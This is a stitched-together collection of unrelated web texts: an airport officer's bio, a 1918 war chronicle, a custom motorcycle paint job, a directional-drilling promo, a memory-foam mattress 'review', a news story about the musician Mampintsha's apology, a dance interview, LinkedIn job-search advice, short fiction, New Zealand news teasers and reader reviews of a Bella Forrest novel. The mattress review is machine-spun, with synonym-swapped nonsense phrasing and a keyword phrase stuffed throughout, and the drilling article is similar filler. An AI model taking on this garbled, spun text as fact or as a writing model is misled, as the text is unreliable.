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Chris Jones has worked for the Clark County Department of Aviation since 2006, and now serves as Airport Chief Marketing Officer, working closely with various airport, airline and government representatives, as well as the Las Vegas Convention and Visitors Authority, to promote McCarran International Airport and market its services to potential airline partners as well as travelers around the world. During his tenure with the Department, Jones spent more than five years as its Public Information Administrator and another four years as the Public Affairs & Marketing Manager. He helped to implement and oversee a highly successful local, national and international outreach campaign to promote and build awareness of McCarran's $2.4 billion Terminal 3 expansion, which opened in June 2012.
Prior to joining the Department of Aviation, Jones spent nearly a decade as a news reporter in Las Vegas, specializing in coverage of the tourism, gaming and banking industries. He has also worked in television production for HBO and NBC, among other networks. Jones earned a bachelor's degree in Communication from the University of Nevada, Las Vegas. He lives in Henderson, Nevada, with his wife and their four children.


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1918, armistice, Armistice of Villa Giusti, Austria-Hungary, Battle of Vittorio Veneto, Germany, Imperial German Navy, Italy, mutiny, surrender
03 Saturday Nov 2018
1918, armistice, Armistice of Villa Giusti, Austria-Hungary, Battle of Vittorio Veneto, Germany, Imperial German Navy, Italy, mutiny, surrender
29 Monday Oct 2018
1918, Albania, Austria-Hungary, Battle of Sharqat, Battle of Vittorio Veneto, cavalry, Conegliano, Danube, France, Germany, Great Britain, Guise, Hundred Days Offensive, Iraq, Italian Army, Italy, Kalat Shergat, Meuse-Argonne Offensive, Monte Cosen, Monticano, Oderzo, Ottoman Empire, Piave, prisoners of war, San Giovanni di Medua, Semendria, Serbia, Shengjin, Smederevo, Turkey, Valdobbiadene, Vittorio, Zenson
Three Italian Armies progressing on a front of 30 miles; 10th Army forces passage of the Monticano, north of Oderzo; 12th Army carries Valdobbiadene and Mt. Cosen, three miles to the north; 8th Army captures Conegliano and Vittorio; 3rd Army across the Lower Piave at San Dona di Piave and Zenson; 33,000 prisoners. French reach outskirts of Guise. Serbian cavalry reach the Danube near Semendria. Italians occupy San Giovanni di Medua, Albania. Turks brought to battle five miles north of Kalat Shergat; 1,000 prisoners.
28 Sunday Oct 2018
1918, Aleppo, Austria-Hungary, Battle of Vittorio Veneto, communications, Great Britain, Iraq, Italian Army, Italy, Kalat Shergat, Montello, Mouslimie Junction, Ottoman Empire, Piave, railway, Syria, Tigris, Turkey
Italian Armies cross the Piave in the Montello region. Muslimie Junction, north of Aleppo, occupied. British take Kalat Shergat on the Tigris.
27 Saturday Oct 2018
1918, Albania, Alessio, Austria-Hungary, Battle of Vittorio Veneto, British Army, France, Germany, Great Britain, Hirson, Hundred Days Offensive, Italian Army, Italy, Lezhe, Lord Cavan, Meuse-Argonne Offensive, Oise, peace, Piave, retreat, Serre
Austria-Hungary asks for Peace. Lord Cavan's Italian and British Army now two to three miles beyond the Piave; Italians capture port of Alessio in Albania. German retreat between Oise and Serre towards Hirson.
25 Thursday Oct 2018
1918, Aisne, Austria-Hungary, Avesnes, Battle of Sharqat, Battle of Vittorio Veneto, British Army, communications, Conde, Final Advance in Picardy, Foret de Raismes, France, Germany, Great Britain, Hundred Days Offensive, Iraq, Italy, Kirkuk, Lesser Zab, Meuse-Argonne Offensive, occupation, Oise, Ottoman Empire, Piave, railway, Scheldt, Serre, Souche, Turkey, Valenciennes
First Army north of Valenciennes pushes through Raismes Forest into the Condé loop of the Scheldt; on the south the 3rd Army gains an eight-miles stretch of the Valenciennes-Avesnes railway; 4th Army cooperating on the right. French attack between the Oise and the Serre, Souche and Aisne on a 25-mile front. Anglo-Italian Army crosses the Piave. British enter Kirkuk and force the passage of the Lesser Zab.
24 Wednesday Oct 2018
1918, Austria-Hungary, Battle of the Selle, Battle of Vittorio Veneto, British Army, communications, Final Advance in Picardy, France, Germany, Grappa, Grave di Papadopoli, Great Britain, Hundred Days Offensive, Italy, Landrecies, Lord Cavan, Metz, Monte Solarolo, Piave, railway, Sambre, Scheldt, Sisemol, Valenciennes
Third and 4th Armies progress between the Scheldt and the Sambre in the south; they approach Landrecies and the Forest of Mormal, in the centre they are within a mile of Valenciennes-Metz railway. British and Italians under Lord Cavan gain a footing on the island of Grave di Papadopoli in the Piave; in the Grappa region Italians take Mt. Solarolo and French take Sisemol.
06 Friday Jul 2018
1918, Adriatic, Albania, assassination, Austria-Hungary, Count Mirbach, France, Germany, Italy, Monte Grappa, Moscow, New Piave, Piave, prisoners of war, Russia, Second Battle of Monte Grappa, Second Battle of the Piave River, Tomorica
Piave delta finally cleared and enemy driven back over the New Piave; since June 15 Italians have taken over 24,000 prisoners; ground gained north of Monte Grappa, with 51 prisoners. French and Italian offensive in Southern Albania between the coast and the Tomorica Valley, taking over 1,000 prisoners. Count Mirbach, German Ambassador at Moscow, murdered.
04 Wednesday Jul 2018
1918, Australia, Austria-Hungary, Battle of Hamel, British Empire, France, Germany, Hamel, Italy, Piave, prisoners of war, Second Battle of the Piave River, United States of America
Australians and Americans capture Hameil, south of the Somme, taking over 1,500 prisoners. Italians take 419 more prisoners in the Piave delta.
02 Monday Jul 2018
Posted European theatre, Italian Front, Military life, Western Frontin
1918, Aisne, American President, Austria-Hungary, Belleau, France, Germany, Italy, Monte Grappa, Moulin-sous-Touvent, Piave, prisoners of war, Second Battle of Monte Grappa, Second Battle of the Piave River, United States of America, Vaux, Woodrow Wilson
Italians capture important points on Monte Grappa and 600 more prisoners; in the delta of the Piave Austrians heavily defeated, Italians taking over 1,900 prisoners. French advance near Moulin-sous-Touvent, north of the Aisne, to 900 yards on a front of nearly two miles, taking 457 prisoners. Americans take 100 more prisoners at Belleau and Vaux. President Wilson announces over 1,000,000 American soldiers sailed for France.
30 Saturday Jun 2018
1918, Albert, Austria-Hungary, Battle of the Three Mountains, Col del Rosso, France, Germany, Great Britain, Italy, Marne, Ourcq, prisoners of war
British action north-west of Albert; over 50 prisoners. French take 200 more prisoners between the Ourcq and the Marne. Italians capture Col del Rosso; 2,000 prisoners.


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Having recently completed a custom Trike for "Harrison Billet", the owner of this Harley Davidson who works there, asked us to undertake the paintwork on his latest Harley Davidson custom project.
Working from initial drawings & discussions we started by shaping the fuel tank, guards & oil tank, these were then painted in House of Kolor epoxy primer. Once fully cured, we laid out initial graphics for visual reference & discussed colour options, getting the customers agreement prior to carrying out the custom paint work.
We started with House of Kolor, Silver base followed by SG100 this was then followed with White for the pin line & Black base colour with House of Kolor clear coat to finish. Bike panels, once fully cured were then wet flatted with P1200 & more clearcoat applied to further enhance the depth & visual appearance.
A final wet flat to remove an slight orange peel & surface imperfections before handed back to customer for fitting up. Great to see this beautifully engineered Harley gathering trophies at major bike shows in the UK & featuring in Back Street Heroes magazine recently


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Essential Facts Regarding Directional Drilling That You Need To Know Of
For those of you who may come across this site, take note that everything you will learn here will be about directional drilling and how it works, so if this piqued your interest and want to read more now, it would be beneficial and advantageous for you to check it out!
There are tons of things to discover more that you have to be aware of when it comes to directional drilling such as the fact that it has been an integral and essential part of this company since the nineteen twenties. Albeit the fact that technology has changed with the passing of time, the concept that surrounds drilling still remains the same; the drilling of wells at several angles, apart from vertical, for the purpose of reaching and producing oil as well as gas reserves. And also, we want you to know that directional drilling also allows for numerous wells that come from similar vertical well to bore and this eventually lead to the decrease in the environmental impact of the well.
We want you to know that the improvements that happened in the drilling sensors and the global positioning technology has greatly influenced the vast enhancements and improvements as well towards the technology that surrounds directional drilling. Now, when it comes to matters concerning the angle of drillbit, it is already controlled by real time technologies with intense accuracy and this has led to the creation of various solutions that can handle the increase in efficiency, decrease in costs and the challenges of drilling as well.
Now, as for the tools that are used in attaining directional drilling, they are composed of the following: whipstocks, the BHA or bottomhole assembly configurations, measuring devices that are three-dimensional, mud motors and also, specialized drillbits. With the use of these tools, from one point, it is now possible to drill wells at different angles, creating reserves that are heaps away as well as doing so for reserves that goes beyond a mile below the surface.
We have stated above how there are so many different types of drilling that are directional and one of which is the horizontal drilling which is used for the purpose of drastically increase the production. In addition to that, we want you to be aware of the fact that horizontal well are drilled in a manner that it is across the formation of oil and gas, by which the production is increased to twenty times more if compared to its vertical equal. To be more precise with you on what horizontal drilling really is try to click here, it is actually a well that is bore and goes beyond eighty degrees and it can consist of more than ninety degree angle which is drilled upward.


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Zombie Mattress Best Memory Foam Mattress Reviews 2017
Have you ever before wondered what it's like to rest like the dead? Make it possible with the Zombie Bed! This costs memory foam/mattress has an unique multi-layered style that contours to the max. Regardless of having an unusual name, Zombie beds are a contender in the elegant mattress industry with their remarkable comfort and budget friendly rates. Read additionally to know more concerning our sincere testimonial on the Zombie Bed and whether it fulfills your cushion assumptions or otherwise. Best Memory Foam Mattress Reviews 2017
Review of the Zombie Bed
Much like other on-line memory foam/mattress brands, the Zombie Bed features an impressive 100-night trial return period. During this time, you can attempt this cushion in the convenience of your house. In case you do not like the mattress within the given time, the returns are free.
Holder Bedding business, the maker of the Zombie Bed, comes from a genealogy of family members, loading more than 70 years of experience in creating and producing mattresses. Merrick Steinmetz and Jonathan Fields introduced this concept when they took control of the business in 2017.
The founders understood the value of having an audio sleep for a much healthier life. Zombie Beds feature a customized, factory-direct, boxed hybrid mattress. You may likewise match it with brands steel as the base for an excellent night 's remainder. Best Memory Foam Mattress Reviews 2017
Even more, the Zombie Bed drops under the budget friendly range with prices ranging from 250 to 900 USD. In the same manner, it prioritizes in offering the comfort level to its sleepers. The mattresses are thoroughly made for top quality as well as convenience. Its distinct design brings you out of tiredness or zombieism from rest deprival. Likewise, their boxed bed mattress is made particularly to the customer's order and cosmetically pleasing.
Zombie Beds Policies And Certifications Best Memory Foam Mattress Reviews 2017
This online bed linen brand name likewise follows industry-standard consumer care plans. They are ardent to address your queries as well as quickly deal with any kind of grievances. Better, an essential aspect of the Zombie Beds items is its cost as well as longevity. The maker makes certain top quality materials and also sustains its products with a 10-year guarantee. Like we pointed out previously, you get a 100-night test and may return the product for a complete reimbursement in case you're disappointed within this period. Furthermore, the Zombie Bed is a CertiPUR-US certified for reduced VOCs as well as the nonexistence of heavy metals, ozone depleters, phthalates, and various other toxins.
What Makes Zombie Beds Remarkable? Best Memory Foam Mattress Reviews 2017
The producer's significance is their ambition to produce as well as generate the best memory foam so you may "Sleep Like The Dead and Wake Like The Living." Based in the United States, this brand name's goal is to advertise much better sleep for a much healthier life through its high-quality products.
They integrate decades of experience to produce affordable rest essentials. So on the occasion that you are sleep deprived, and is seeking a budget-friendly but sophisticated cushion, then the Zombie Beds is an item you must attempt! Recover your rest as well as restore your life.
Zombie Bed Honest Review Best Memory Foam Mattress Reviews 2017
Now that you have an overview of the Zombie Bed and its supplier, it's time to splash the beans regarding this bed mattress. Let's analyze its construction, sinkage, materials, rates as well as delivery.
1.) Building and construction
As you can see, the Zombie Bed includes a visual look, differing the traditional old white knit material. Isn't it impressive to see a bed based upon a Zombie motif to look this good?
The Zombie Bed has 4 layers: Best Memory Foam Mattress Reviews 2017
- Foundation: This high-density layer is created to preserve the uniformity of the support as well as make sure optimal longevity.
- Micro coils: After the foundation is a layer of over a thousand mini coils which aids contour according to your body. It disperses the weight and also lowers eventual sagging and also settlement of the mattress.
- Great gel: The third layer is an unique layer of awesome gel. This was designed to advertise air flow throughout the mattress to soothe any kind of stress.
- Soft polyurethane: A high thickness of soft polyurethane covers the leading layer. This includes comfort, assistance, as well as versatility.
2.) Contouring Effect
An additional striking function of the Zombie Bed is the contouring impact which takes the form of the sleeper. The assimilation of micro coil, cooling down gel, and also the foam assures an above ordinary convenience level. Best Memory Foam Mattress Reviews 2017
Similarly, the style highlights the contouring nature of the foam for enhanced convenience. Meanwhile, the amazing gel moves the warmth across the bed making it amazing while using it.
3.) Sinkage Best Memory Foam Mattress Reviews 2017
The Zombie Bed bestows a respectable quantity of sink as well as most importantly, it contours incredibly. Probably this is due to the mini coil system which is sitting simply below the cushion' first layer. The mini coils additionally don't push back intensively. Instead, it boosts the contouring advantages of the bed mattress.
Generally, this bed is an all-foam cushion with the exception of mini coils. There is less thick on the mattress' leading layer, making it recover swiftly. On the various other hand, the micro coils beneath enhance enough healing to offer it a little bounce. There's also very little heat retention, enabling you to rest coolly than a dense foam mattress.
4.) Materials, Safety, And Certifications
Zombie Beds assert that their products all come from the geographical region of America. Therefore, all products utilized in the mass-produce of zombie beds are CertiPUR-US certified. Mattresses/Beds are all manufactured in the USA and orders are sent out directly from the supplier system itself. This makes the turnaround classic! Best Memory Foam Mattress Reviews 2017
Additionally, these bed mattress are made purely with the lack of any type of ozone depleters. It likewise does not consist of any mercury lead materials, TCEP, PBDEs, TDCPP flame resistants, or any type of sort of hefty steels. Furthermore, the cushions are made without phthalates or formaldehyde and are entirely managed by the Consumer Product Safety Commission.
5.) Smell and Smell
Again, the Zombie Beds are created without making use of any type of unsafe metals and chemicals. So far, there have actually been no issues against these cushions with regards to the odor as well as scent. Nonetheless, there are times when this brand-new foam sends out a small odor upon arrival (this occurs with a lot of boxed memory foams). No need to stress however, that scent will certainly wear in time.
6.) 100-Night Sleep Trial Best Memory Foam Mattress Reviews 2017
Zombie Bed features a liberal 100-day test return period on a 'no doubt asked' basis. This provides you a lot of time to try out all the best attributes this mattress needs to supply.
7.) Rates
The expenses for this mattress are at a reasonable rate, considering its amazing attributes. It additionally available in different dimensions, as well as the rates differ on the dimension you choose. Here is the listing of the present rates of the Zombie Beds: Best Memory Foam Mattress Reviews 2017
- Twin – $499
- Twin XL – $550
- Complete – $699
- Queen – $799
- King – $899
- Cal King – $950
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They offer complimentary delivery bargains on all orders and also would just take about 6 to 10 days to deliver the bed mattress right at your front door. Similarly, the firm supplies a 10-year limited guarantee period. Nonetheless, it is only restricted to the workmanship or manufacturing flaws.
9.) Base And Bedding Accessories Best Memory Foam Mattress Reviews 2017
They additionally provide a base for the mattresses for better security as well as endurance. Additionally, they use covers for the mattresses in a myriad of colors. For additional information on devices, you may inspect their site.
10.) Can It Relieve Back Pain?
Yes, this wonderful mattress provides a solitary firmness degree that fits all. It is regarded ideal for both back and also side sleepers as it entails greater than hundreds of microcoils, therefore supplying an outstanding comfort. The mini coils help in dispersing the weight, therefore minimizing the drooping as well as soothes all kind of stress in the body. Best Memory Foam Mattress Reviews 2017
General Review
The Zombie Bed is an excellent bed mattress, specifically made to keep everyone's comfort. It features three comfort layers, high-density structure, micro coils, and also the soft polyurethane to offer the very best convenience you can obtain. Furthermore, it's sturdy, lasting, and gives you the best rest you ever before had. It's general satisfactory in every facet. Nevertheless, there are extra client reviews available for these bed mattress so look into their web site if you need to know extra.


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Mandla "Mampintsha" Maphumulo is once again expressing remorse publicly as he faces criminal charges and public backlash for allegedly assaulting his former girlfriend Bongekile "Babes Wodumo" Simelane .
But the question now is whether the assault-accused musician will plead guilty in court after issuing a public apology related to the same incident.
In a statement released on his Instagram account, Mampintsha is not saying directly if he had indeed assaulted his now estranged girlfriend and fellow West Ink stablemate Simelane but he wrote: "It will never happen again, I promise."
He even undertook to attend "counselling sessions to find the root cause and deal with it thoroughly".
The Durban-based kwaito star was released on R2 000 bail on March 5 and will be back in court on May 15.
On the day of his first court appearance Maphumulo claimed he was only defending himself and that it was in fact Simelane who was attacking him. His lawyer indicated would open a counter case of assault.
He was arrested for assault after a video showing what appeared to be him slapping Babes Wodumo went viral on social media and grabbed the attention of many, and drawing criticism from politicians, activists and the public.
Mampintsha is now apologising to Babes Wodumo, her family, fellow musicians and the whole nation for the incident.
"South Africa, I'm sorry. I know many of you don't want to hear it (but) from the bottom of my heart I would like to send my deepest and humblest apologies," he wrote.
The artist further expressed disappointment in himself, saying he did not know how the incident happened and seemed to somehow blame emotions for his actions.
"I have been in a shell from the time of the incident till today because I am beyond shameful and disappointed in myself for allowing my emotions to get the better of me," he said in the statement.
Mampintsha said he has learnt through hip hop artist Molemo "Jub Jub" Maarohanye's case.
The latter served prison time after the March 2010 incident in which while he was racing with a friend, ploughed their Mini Coopers into a group of school children killing four of them while under the influence of drugs and alcohol.
Mampintsha said he learnt from this incident not to drink and drive but "unfortunately nobody warned us or educated us about emotions, relationships and how to deal with strong emotional disappointments-and that's why we're here today".
He added: "... as men we need to overpower our emotions because lokho kungasifika ezinkingeni (that could land us in trouble)".
While apologising to Babes Wodumo, Mampintsha said he would "not discuss what led me to that situation because I do not want to paint a negative image about anyone involved... no, I won't stoop that low but one day you all will make up the real facts about the situation".
Mampintsha's attorney, Pat Magwaza, has confirmed the statement was indeed from him, DispatchLive reported on Saturday.
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Interview by Lisa Cadamuro – NID Platform staff
Natalia Alvarez is the director of Teatros del Canal and Centro Danza Canal in Madrid. She studied History of Art, and coordinated a number of dance projects in museums and exhibition venues. She is one of the International commissioners of Nid Platform.
You have been appointed as a commissioner for NID Platform 2017. Had you heard about this project before? What are its strengths, in your opinion?
Yes I attended a couple of years ago because I was the coordinator of round table about dance and museums. It's very important for a country to have a dance exhibition platform, in order to make its artists more visible. It's the best way to get programmers from other countries to know what is happening. Besides, I think that round tables, the multiple spaces, as well as its celebration in different places of the country are the main strengths of the organization.
Do you believe that nowadays there is a new creativity in Italian dance?
Yes of course, there is now a creativity moment in Italy, it has choreographers presenting pieces in the Biennal of Lyon, which is one of the most important platforms for dance in the world.
But there is certainly a necessity of more institutional support for this new creativity to develop.
What are your expectations from the companies and shows which will apply to NID Platform 2017?
My expectations are to attend and see the new landscape of contemporary dance in Italy, new productions from artists, and discover new choreographers and follow the work of others. I'm particularly interested in seeing how the social and cultural context in which the artists develop their work affects the results of their creation processes.
What are the problems that the Italian dance sector is currently facing, and what would you suggest in order to overcome these obstacles?
There is a problem of public funding because of the crisis and cuts to public expenditure, affecting the ability of national and international theaters and festivals to hire dance artists. Dance is a specially vulnerable part of the business, as the audience is less consolidated and it depends on the public support more tan theater or music, for instance. Some measures I would suggest are encouraging local programmers to include dance in their ordinary seasons, fostering communication campaigns to widen
the audience, and collaborating with educational institutions (schools and universities) in order to increase the sensibility towards dance among the new generations and potential new audiences.
Furthermore, I think there is a lack of overall systematisation. While there are interesting organisations working regionally, there is not much clarity about who does what and not enough collaboration among them – thus a sense of a lack of sustainable infrastructure that can help artists in their long-term development. Also, there seems to be not much space for programming contemporary dance in the national theatres in Italy. Hence, a lack of knowledge and visibility for contemporary dance among the larger audience.
What sort of advice would you give to a young Italian choreographer/dancer?
The same advice that I would give to any choreographer: build your own network (a network made of different people that can help critically engage and support your work on multiple levels: professionals, artists from your discipline and other disciplines, dramaturges, your public, etc) and connect/be aware to/of what's outside your own country.


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If you want to find your way into your next job opportunity, there's no better place than Linkedin. In fact, according to a recent TeamLease survey, LinkedIn is the most effective way to get hired, as per a report in The Economic Times. In fact, the site even beats social media and employee programmes as a hiring channel. If you haven't opened a LinkedIn account yet or haven't updated your account, here are the reasons why you may need to act immediately.
For one, it's a great place to build your professional network. Following or sending a Facebook friend request to people you know professionally may not go down well with everyone. LinkedIn is a social network for professionals. It's a social place for professionals to network within the decorum of professionalism. Plus you are just a message away from building your professional network across the world. Nothing proves the "six degrees of separation" more than LinkedIn. For instance, the author of this post has one-degree separation with Barack Obama. In short, you can increase your professional social capital, by increasing your professional network.
Secondly, it's also the place where the whole world's job recruiters hang out. After all it is a dedicated website for both job seekers as well as recruiters. LinkedIn has 500 million plus users which include both seekers as well as recruiters. From a recruiter's point of view, they have a worldwide access to talent, and since the access is direct, just a message or a call away, it brings the talent acquisition cost down.
Thirdly, if you are into business there's no better place than getting leads of business clients. One way for it by looking at who is checking your profile. If you actually follow up, you might be able to generate a good business client who is interested in your business, even before you approach him. You can share updates about your business and hence tap into potential clients as well as keep an eye on your competitors update and get some "competitive intelligence". Even LinkedIn advertisements or sponsored updates can be used to generate more leads. It's one of the best ways to cut cost per client acquisitions tremendously.
Fourthly, there's a certain power associated with testimonials, especially when it comes from those who matter, professionally. Testimonials on the LinkedIn are in the form of recommendations. You can ask for specific recommendations from current/former bosses and co-workers. In fact, if you are looking for a job, tapping into the resources of former co-workers cannot be ignored. After all, they are a goldmine of information of the hiring process for their company, and probably can put you through, the HR manager or respective recruiter.
And, finally. LinkedIn is not just a place where you make a profile to update your resume. If you are using it just for job search, you are doing it all wrong. You can use the site for personal branding and joining relevant professional groups. Remember that it is a network of more than 500 million people and not just a database. Play your links correctly and you might just land up with your dream job.
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If you think hard enough, everything has a memory attached to it. A tube of tea tree oil given by a past lover. A pair of diamond earrings gifted by a grandmother long gone. A limited edition Starbucks cup bought at a first long-distance holiday.
But you never stop long enough to think. You think you do not have time. That may be so; sixty-five years, a century, thirty days, no one should ever know.
The brown work desk was neat, apart from the accidental littering of a post-it note reminding him to pick up the laundry from the dry cleaner's. It didn't matter, because he had forgotten all about it anyway.
It was 8.57am. He was a freelance graphic designer; choosing to work from home with an iMac he had saved up hard for over cramped cubicle spaces in pressed shirts and ugly Christmas ties. He was the kind of man who would go days without proper meals when working on a big project. It was this endless pursuit towards perfection that his family, while they were alive at least, always said would ruin him.
9.01am. His iMac would not boot up. The blank screen stared back at him, a mirror of his own haggardness. He swore under his breath and tried to reach for his cup to take a mouthful of last night's coffee. But the lack of sleep had disoriented him and his hands did not quite go the way he intended. The cup bounced off the table and landed on the parquet floor, shattering into pieces.
Maybe memories are stored within the physical object itself. Each time you see or touch it; a small bit escapes into you and lets you remember what had happened then.
But if you accidentally break it; shattered, ripped, thrown away, whatever it may be; the memory escapes into the atmospheres and nothing is left.
That's why even when you try to fix the object, it never does quite feel the same again.
He grabbed some loose sheets of paper on his desk and tried to mop up the coffee spillage. It was good coffee, he thought to himself; good coffee that had retained its Arabica aroma even after being left overnight.
And so the little room was momentarily filled with the aromas of the coffee, mixing with the staleness that permeates rooms with unopened windows and closed doors. As pleasant the aroma was, it was gone after a couple of hours; escaping through tiny cracks of the seemingly sealed windows and the little gap at the base of the door.


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Farah Hancock Auckland, April 19, 2018 Islamophobia: the conversation killer The left's reluctance to confront problematic parts of Islamic ideology has allowed the far-right to hijack the narrative about Muslims, according to ex-Muslim and author Ali Rizvi. Speaking out about women's rights, the rights of homosexuals or the right of religious freedom should be encouraged and not shut down by…Read More
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Disciplined approach eases every property deal
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Do we have Hindi teaching capability in New Zealand?
Have your say on this Survey Dr Pushpa Wood Wellington, April 18, 2018 Would you like to Hindi language being taught in New Zealand schools? If yes, this is your opportunity to help us create a complete picture of our teacher capability by completing an online survey. Teaching Hindi language in New Zealand – teacher survey Over the years, a…Read More
Designer clothes for daily use from Maggie Tabberer
Supplied Content Auckland, April 18, 2018 Finally, a stylish collection for '40 Plus' women of all sizes, who often feel they are 'The Invisible Woman, ignored by sales staff because they are perceived as too old, too big or simply not the right image for some brands.' Maggie Tabberer is an Icon, famous for her international modelling career, her Logie…Read More
International expert to deliberate on mental health issues
Friday, May 18 at The Wave Room, Wellesley Street, AUT Venkat Raman Auckland, April 18, 2018 The importance of addressing mental health problems and challenges, early intervention and the cultural influence in delivery and acceptance will be among the issues that will be discussed at a special meeting in Auckland this Friday. Distinguished Speakers Professor Kamaldeep (popularly known as Dr…Read More
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Terry Pratchett
Sad news today - one of my favourite authors has passed away.
Pratchett was diagnosed with an aggressive form of Alzheimer's Disease in 2007 but continued to write and even publish. I loved his books as a kid and will spend some time this weekend re-reading a couple.
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A Shade of Kiev 2
Free Read [Religion Book] ↠ A Shade of Kiev 2 - by Bella Forrest ↠ 107 Bella Forrest
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I have read a lot of the authors previous books and can say this book is also pretty good. So if you like this author, you'll most likely enjoy this book as much as I did, if not more.Overall, I did enjoy this book. There was one thing missing and I can't even describe what it is. It just lacks that umph that the previous book had. Although it lacked this, I still enjoyed the book and want to find out more.Like a lot of Bella's books, this was a very quick read. At 222 pages on my Kindle, it onl [...]
I have followed the vampire shade books since the very beginning, loving every turn that Bella has taken with the story within the shade and now with the Kiev books. I must admit that in book 6 when I first met Kiev I disliked him. There I said it! He made me so angry, but then again I never thought I would have had the chance to expand on his story and get to love him. He was introduced to me at a time when Derek and Sofia were struggling so dearly and I had been through a roller coaster of emo [...]
I was excited when I got word last week that this book was coming out today! I was surprised that the first book in this spinoff was a cliffhanger so I was looking forward to continuing Mona and Kiev's story and I'm glad we didn't have to wait too long to get it. I thought this book was a good continuation and it gave us a lot of answers into Kiev and Mona's pasts, we found out about Kiev's family and about what happened to Mona and why she was cursed and why she didn't have her magi [...]
A Shade of Kiev 2 follows on from where book 1 left off, and so you need to have read that first in order to keep up.Kiev and Mona are such dark characters, and I've found it hard to become attached to them. However, during this book I've slowly began to understand how and why they've become this way, making them a little more appealing. Plus they are fighting hard to find redemption in themselves for the evil in which they have partaken.I enjoy Bella Forrest's story telling, and that keeps me g [...]
I have always hated Kiev. Especially with what he did in book 6. Book 8 started making me feel sorry for him, but this book made me root for him and love him. Poor Kiev, every time he tries to do something good backfires on him. At least at the end of this bookhe got a happy ending ;) Can't wait to read what Kiev and Mona will have to do to stay together.
Wow. talk about star crossed lovers.Well because I've read seventeen books in the 'Shade of Vampire' series, I know Kiev and Mona end up together. It's just going to be so much fun to read how they make it all happen. I've already downloaded the next book in this series, so now I'm off to read #3.
We start with a bit of Kiev's back story. Son of a physician, with a brother (Erik) and sister (Helina). His parents were dying of what I am going to assume is the plague. After Kiev murders a man who rides by on a coach, the man's wife shoots him and he finds the strength to kill her as well. He sends Erik & Helina with food and money from the coach to live with their miser uncle in 'the city'. After his parents die, Kiev starts coming down with the same symptoms - coughing up blood. The El [...]
cannot wait until the 3rd book! ahh! soooo good! I think I'm obsessed with Bella Forest!
A good bookAs always, I love these books. This particular book, I wasn't as enthusiastic about, but still a good read. Can't wait to see what happens next for Mona and Kiev.
Ok, this one was better. The ending really picked up as a few more pieces of the puzzle feel into place. My only gripe Does Kiev really need to use sex as a revenge tactic?! I mean seriously, he starts the story falling into bed with Lorena because he needs to "get the taste of witch out of his mouth" then sleeps with Triani because he is jealous of Rhys being Mona's lover. Hello, it's not like Mona is really enjoying herself. Although, to be fair, he didn't find out it was forced until after he [...]
My rating for this book is 1.0 star.Estos libros me estan sacando las canas más faciles y rapidas en mi corta vida. Detesto todo lo relacionado con las historias que deberían ser para adolecentes y se convierten en caprichos quejumbrosos totalmente inútiles solo se basan en decisiones meramente adolecentes. ¿Donde quedaron las buenas historias de vampiros? Es terrible todo este libro es que me parece tan boboLos segui, gracias a un hechizo de invisibilidad. Es que si Kiev no es mio no va ser [...]
I generally enjoy all of the shade books but for some reason this one fell a bit flat for me. Since the first book in the series Mona and Kiev have gone their separate ways and the chapters generally alternate between the two and what they are doing. It was good that we got to know a little more of the history of both of them but the story lost some of its flow as a result. Some of the episodes seemed a bit rushed and I couldn't really see the point in them. The story only really started to pick [...]
I was in LOVE with A Shade of Vampire series. It was intriguing, imaginative, passionate and hilarious at some parts. I think the problem began when Bella started branching out with each character. I've no problems until it came to Kiev. The first book was wonderful but it seems as if the second book fell short. There was a lot of character jumping (even though it was from the point of view from two characters) and flashbacks happened suddenly. I know the flashbacks were there to give a backstor [...]
Unfortunately, this book failed to catch my interest at all. Kiev is a totally different character, which I could accept if there we're content explaining why. I could read only a chapter or two per night because I found myself looking for other books to read after realizing that my mind was wandering while I tried to read. I finished it simply because I like Bella's Shade of Vampire series and I hoped that this book would pick up at some point. It didn't, for me at least. I won't read the 3rd b [...]
Ah! More of Kiev's story and the siblings! I am happy that he's found them, though they are vampires and in Kiev's experience that's not always a good thing. I also felt for Mona by the time this book was over. It was nice to get her background story and I was able to understand, though maybe not agree with the choices she was making. I hope there's a HEA for Kiev at some point but I also have the feeling something dark and evil lurks behind the scenes. Who the heck is Rhys, or better yet - who [...]
Really really enjoyed it. Very exciting and continues the story effortlessly. I only have one negative and that is true with the other books tooat for me I really wish they were longer. They are so short that by the time I'm really really enjoying them and have fully got myself into "the zone!" I'm at 90%!! Literally read in a day! That being said, it doesn't stop me reading them because the stories are just so good! :) will be patiently waiting for my email! :)
A disappointmentAfter enjoying the Shade of Vampire series so much, I found this series bland and with way too many holes where there was no explanation or believable reason for going from A to B to C. (No spoilers) I anxiously await the release the next release in the Shade of a Vampire series, but don't know that I will be back to follow Kiev's story here. His character and actions were much more believable there.
There's nothing of interest this book that isn't covered on the back description but it is a good read, especially towards the end when the couple finally reveal more about each other and admit they want each other. Their relationship doesn't excite me in the way Derek and Sofia's does though. I think this is because you feel like you know Kiev from the shade books but he completely changes in these and I personally find it hard to picture and understand mona.
Silly me, I figured just the first Shade of Kiev would be enough and wouldn't need to purchase all of them. What was I thinking?!? After the first one, I HAD to hurry and purchase the 2nd so I could continue the story. I should know this by now after reading the first series of A Shade of Vampire. Another fantastic read by Bella. :)
I'm completely in love with this spin off of The Shade. In book 2 we get alot of questions answered yet that creates more questions. Which is fantastic. It's action packed, romantic, and very mysterious. I love seeing this side of Kiev. The writing was smooth and captivating. I loved every second of it. Awesome!
Love it Diving further into Kiev is a treat,I don't spoil stories with my reviews. I do wish Kiev can go back to the shade and tell them what he has learned, that would be interesting. As always bella has me wrapped up in her writing g and I have finished both 1 & 2 of the Kiev books in one day. U have to read these, if u love the shade you will love these
I am completely addicted to these books. I wish they would just keep going because I think I could read about the Shade and all of the characters for the rest of my life and be content!This is an amazing series and the characters and the writing are perfect! There is never a dull moment! Once you start reading you just can't put it down and you yearn for more!
Without giving anything away, what a great book!! Mona has an incredible background story. I love Kiev, his story just gets better and better. I can't wait for the next book to see what happens after the way this one left off.
Not impressed.I finished this book, but only because I really like the author. I felt there was too much going on in this story and even though I read the last one not too long ago, it began in such a way I didn't know what was going on.
Love this storyBella Forrest has created another smash hit. The story of Kiev has me laughing, crying, and feeling like an angry witch myself. Wonderful story. Can't wait for the next addition.
Another wonderful story and action packed. can't believe mona went from powerless to trying to become a chandell. how ryhs is fitted jnto the story and how kiev found his siblings. It keeps getting better. can't wait to see how this plays out.
Twist & turnsBella forest is an amazing author! The tales she writes are entertaining from start to finish. This book has so many twists & turns but cliff hanger at the end. Now to wait for the next book!
Eh. Again, the entire story seems rushed and not well thought out actually. The Kiev I met in the original series doesn't even seem to be related to this Kiev in this series in the slightest. Again, I'm disappointed but I have the third book already so I might as well finish the trilogy.
